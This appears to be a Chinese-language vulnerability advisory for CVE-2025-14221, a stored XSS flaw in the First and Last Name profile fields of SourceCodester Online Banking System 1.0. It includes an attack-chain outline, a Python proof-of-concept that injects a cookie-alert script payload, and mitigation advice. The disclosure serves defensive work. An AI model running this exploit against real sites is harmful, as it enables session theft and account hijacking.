IPBUF安全漏洞报告
English
CVE-2025-14221 CVSS 3.5 低危

CVE-2025-14221 SourceCodester在线银行系统1.0 XSS漏洞

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-14221
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
SourceCodester Online Banking System 1.0

相关标签

CVE-2025-14221XSS跨站脚本存储型XSSSourceCodesterOnline Banking SystemWeb安全低危漏洞

漏洞概述

CVE-2025-14221是SourceCodester在线银行系统1.0版本中存在的一处存储型跨站脚本(Stored XSS)漏洞。该漏洞位于用户个人资料管理页面(/?page=user),攻击者可以通过在"First Name"(名)和"Last Name"(姓)字段中注入恶意JavaScript代码,当其他用户或管理员访问该用户资料页面时,恶意脚本将被执行。此漏洞的CVSS评分为3.5,属于低危级别,攻击复杂度低,但需要低权限用户交互。攻击者可利用此漏洞窃取会话Cookie、劫持用户账户、进行钓鱼攻击或修改页面显示内容。由于该漏洞已公开,可能已被广泛利用。建议立即采取修复措施,对用户输入进行严格的输入验证和输出编码。

技术细节

该漏洞为存储型XSS(Stored Cross-Site Scripting),存在于SourceCodester Online Banking System 1.0的用户资料编辑功能中。漏洞文件为/?page=user,受影响的参数为First Name和Last Name。攻击流程如下:1)低权限攻击者登录系统并访问用户资料编辑页面;2)在First Name或Last Name字段中注入恶意JavaScript代码,如:<script>alert(document.cookie)</script>;3)提交后,恶意代码被存储在数据库中;4)当其他用户或管理员查看该用户资料时,服务器从数据库读取并回显未经过滤的用户名数据;5)受害者浏览器执行注入的恶意脚本。漏洞根源在于系统对用户输入的First Name和Last Name参数缺乏有效的输入验证和输出编码。攻击者可以利用此漏洞窃取受害者Cookie、获取敏感信息、进行账户劫持或传播恶意内容。由于需要用户交互(UI:R),攻击成功率依赖于诱导用户访问特定页面。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标为SourceCodester Online Banking System 1.0,确认存在/?page=user端点
STEP 2
步骤2
初始访问:攻击者注册低权限账户或利用已有账户登录系统
STEP 3
步骤3
漏洞利用:访问用户资料编辑页面,在First Name或Last Name字段注入恶意JavaScript代码
STEP 4
步骤4
持久化:恶意脚本被存储在数据库中,等待其他用户或管理员访问触发
STEP 5
步骤5
触发执行:当受害者(其他用户或管理员)访问/?page=user页面时,未经过滤的用户名数据被回显,恶意脚本在受害者浏览器中执行
STEP 6
步骤6
恶意行为:攻击者可通过XSS窃取Cookie、会话令牌,进行账户劫持或获取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-14221 PoC - Stored XSS in SourceCodester Online Banking System 1.0 # Target: /?page=user - First Name / Last Name parameter TARGET_URL = "http://target-host/online-banking-system/" LOGIN_URL = TARGET_URL + "?page=login" PROFILE_URL = TARGET_URL + "?page=user" # Malicious XSS payload XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit(): """ Exploit for CVE-2025-14221: Stored XSS in user profile First Name/Last Name fields """ session = requests.Session() # Step 1: Login to the system with low-privilege account login_data = { 'username': 'attacker_username', 'password': 'attacker_password' } try: response = session.post(LOGIN_URL, data=login_data) # Step 2: Access profile page and inject XSS payload profile_data = { 'firstname': XSS_PAYLOAD, 'lastname': XSS_PAYLOAD, 'submit': 'Save' } response = session.post(PROFILE_URL, data=profile_data) print("[+] XSS payload injected successfully!") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] When victims visit /?page=user, the script will execute") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": print("CVE-2025-14221 PoC - SourceCodester Online Banking System XSS") exploit()

影响范围

SourceCodester Online Banking System 1.0

防御指南

临时缓解措施
在官方修复补丁发布前,可采取以下临时缓解措施:1)对/?page=user页面的First Name和Last Name字段实施输入白名单验证,仅允许字母和基本标点;2)在输出时对所有用户提交的数据进行严格的HTML实体编码转义;3)部署Web应用防火墙(WAF)规则检测和拦截XSS攻击特征;4)提醒用户不要点击可疑链接,尤其是来自陌生人的链接;5)监控应用日志关注异常的<script>标签或JavaScript事件处理器属性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表